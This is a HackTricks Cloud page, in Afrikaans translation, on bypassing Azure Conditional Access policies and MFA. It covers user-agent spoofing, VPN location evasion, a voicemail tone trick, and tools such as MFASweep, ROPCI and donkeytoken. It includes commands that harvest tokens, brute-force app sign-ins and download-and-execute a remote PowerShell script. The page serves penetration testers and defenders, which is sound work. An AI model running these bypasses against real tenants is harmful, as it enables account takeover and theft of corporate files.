Az - Voorwaardelike Toegang Beleide & MFA Omseiling
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Azure Voorwaardelike Toegang beleide is reëls wat in Microsoft Azure opgestel is om toegangbeheer tot Azure-dienste en toepassings af te dwing op grond van sekere voorwaardes. Hierdie beleide help organisasies om hul hulpbronne te beveilig deur die regte toegangbeheer onder die regte omstandighede toe te pas.
Voorwaardelike toegang beleide definieer basies Wie kan toegang hĂȘ tot Wat van Waar en Hoe.
Hier is ân paar voorbeelde:
- Aanmeld Risiko Beleid: Hierdie beleid kan ingestel word om multi-faktor verifikasie (MFA) te vereis wanneer ân aanmeld risiko opgespoor word. Byvoorbeeld, as ân gebruiker se aanmeldgedrag ongewoon is in vergelyking met hul gereelde patroon, soos om van ân ander land aan te meld, kan die stelsel vra om addisionele verifikasie.
- Toestel Nakoming Beleid: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegelaat word vanaf toestelle wat op datum antivirus sagteware het of ân sekere bedryfstelsel weergawe draai.
Opsomming
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Voorwaardelike Toegang Beleid Omseilings
Dit is moontlik dat ân voorwaardelike toegang beleid sekere inligting nagaan wat maklik gemanipuleer kan word, wat ân omseiling van die beleid moontlik maak. En as die beleid byvoorbeeld MFA gekonfigureer het, sal die aanvaller in staat wees om dit te omseil.
Wanneer ân voorwaardelike toegang beleid gekonfigureer word, is dit nodig om die gebruikers wat geraak word en teikenbronne (soos alle wolk toepassings) aan te dui.
Dit is ook nodig om die voorwaardes te konfigureer wat die beleid sal aktiveer:
- Netwerk: IP, IP-reekse en geografiese liggings
- Kan omgegaan word deur ân VPN of Proxy te gebruik om met ân land te verbind of te probeer aanmeld vanaf ân toegelate IP-adres
- Microsoft risikoâs: Gebruiker risiko, Aanmeld risiko, Insider risiko
- Toestel platforms: Enige toestel of kies Android, iOS, Windows phone, Windows, macOS, Linux
- As âEnige toestelâ nie gekies is nie, maar al die ander opsies gekies is, is dit moontlik om dit te omseil deur ân ewekansige gebruikersagent te gebruik wat nie met daardie platforms verband hou nie
- KliĂ«nt toepassings: Opsies is âBlaaierâ, âMobiele toepassings en desktop kliĂ«nteâ, âExchange ActiveSync kliĂ«nteâ en Ander kliĂ«nteâ
- Om aanmelding te omseil met ân nie-geselecteerde opsie
- Filter vir toestelle: Dit is moontlik om ân reĂ«l te genereer wat verband hou met die gebruikte toestel
- Verifikasie vloei: Opsies is âToestel kode vloeiâ en âVerifikasie oordragâ
- Dit sal nie ân aanvaller beĂŻnvloed nie, tensy hy probeer om enige van daardie protokolle in ân phishing poging te misbruik om toegang tot die slagoffer se rekening te verkry
Die moontlike resultate is: Blokkeer of Gee toegang met potensiĂ«le voorwaardes soos vereis MFA, toestel moet voldoenâŠ
Toestel Platforms - Toestel Voorwaarde
Dit is moontlik om ân voorwaarde in te stel gebaseer op die toestel platform (Android, iOS, Windows, macOSâŠ), egter, dit is gebaseer op die gebruikersagent so dit is maklik om te omseil. Selfs al die opsies MFA afdwing, as jy ân gebruikersagent wat nie erken word nie, gebruik, sal jy in staat wees om die MFA of blokkeer te omseil:
.png)
Net om die blaaier ân onbekende gebruikersagent te laat stuur (soos Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) is genoeg om hierdie voorwaarde nie te aktiveer nie.
Jy kan die gebruikersagent handmatig in die ontwikkelaar gereedskap verander:
.png)
Of gebruik ân blaaier uitbreiding soos hierdie een.
Ligging: Lande, IP-reekse - Toestel Voorwaarde
As dit in die voorwaardelike beleid ingestel is, kan ân aanvaller net ân VPN in die toegelate land gebruik of probeer om ân manier te vind om toegang te verkry vanaf ân toegelate IP-adres om hierdie voorwaardes te omseil.
Wolk Toepassings
Dit is moontlik om voorwaardelike toegang beleid te konfigureer om te blokkeer of af te dwing byvoorbeeld MFA wanneer ân gebruiker probeer om toegang te verkry tot ân spesifieke toepassing:
.png)
Om hierdie beskerming te probeer omseil, moet jy kyk of jy net in enige toepassing kan.
Die hulpmiddel AzureAppsSweep het talle toepassings-IDâs hardgecodeer en sal probeer om in hulle aan te meld en jou laat weet en selfs die token gee as dit suksesvol is.
Om spesifieke toepassings-IDâs in spesifieke bronne te toets, kan jy ook ân hulpmiddel soos gebruik:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Boonop, dit is ook moontlik om die aanmeldmetode te beskerm (bv. as jy probeer aanmeld vanaf die blaaiers of vanaf ân desktoptoepassing). Die hulpmiddel Invoke-MFASweep voer ân paar kontroles uit om te probeer om hierdie beskermings te omseil.
Die hulpmiddel donkeytoken kan ook vir soortgelyke doeleindes gebruik word, alhoewel dit ononderhoude lyk.
Die hulpmiddel ROPCI kan ook gebruik word om hierdie beskermings te toets en te sien of dit moontlik is om MFAs of blokke te omseil, maar hierdie hulpmiddel werk vanuit ân whitebox perspektief. Jy moet eers die lys van toepassings wat in die tenant toegelaat is aflaai en dan sal dit probeer om in hulle aan te meld.
Ander Az MFA Omseilings
Ringtone
Een Azure MFA opsie is om ân oproep te ontvang op die geconfigureerde telefoonnommer waar die gebruiker gevra sal word om die karakter # te stuur.
Caution
Aangesien karakters net tones is, kan ân aanvaller die voicemail boodskap van die telefoonnommer kompromitteer, die boodskap as die toon van
#konfigureer en dan, wanneer die MFA aangevra word, seker maak dat die slagoffer se telefoon besig is (dit bel) sodat die Azure oproep na die voicemail omgelei word.
Nakomingstoestelle
Beleide vra dikwels vir ân nakomingstoestel of MFA, so ân aanvaller kan ân nakomingstoestel registreer, ân PRT token kry en op hierdie manier die MFA omseil.
Begin deur ân nakomingstoestel in Intune te registreer, dan kry die PRT met:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Vind meer inligting oor hierdie tipe aanval op die volgende bladsy:
Az - Primary Refresh Token (PRT)
Gereedskap
AzureAppsSweep
Hierdie skrip verkry ân paar gebruikersakkrediteer en kyk of dit kan aanmeld in ân paar toepassings.
Dit is nuttig om te sien of jy nie MFA benodig om aan te meld in ân paar toepassings nie wat jy later mag misbruik om privilegies te verhoog.
roadrecon
Kry al die beleide
roadrecon plugin policies
Invoke-MFASweep
MFASweep is ân PowerShell-skrip wat probeer om in te log op verskeie Microsoft-dienste met ân verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is. Afhangende van hoe voorwaardelike toegangsbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as ân enkele faktor. Dit het ook ân addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die plaaslike ADFS-bediener indien opgespoor.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan APIâs in verskeie produksie AAD-huurders te misbruik, waar AAD-klante geglo het dat hulle MFA afgedwing het, maar ROPC-gebaseerde verifikasie suksesvol was.
Tip
Jy moet toestemming hĂȘ om al die toepassings te lys om die lys van die toepassings te genereer om te brute-force.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token is ân stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat die Validiteit van Voorwaardelike Toegang Beleide moet toets, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Toets elke portaal of dit moontlik is om in te log sonder MFA:
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Omdat die Azure portaal nie beperk nie, is dit moontlik om ân token van die portaal-eindpunt te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is. In hierdie geval is Sharepoint geĂŻdentifiseer, en ân token om toegang daartoe te verkry, word aangevra:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
As jy aanvaar dat die token die toestemming Sites.Read.All (van Sharepoint) het, selfs al kan jy nie Sharepoint vanaf die web toegang nie weens MFA, is dit moontlik om die token te gebruik om toegang tot die lĂȘers met die gegenereerde token te verkry:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

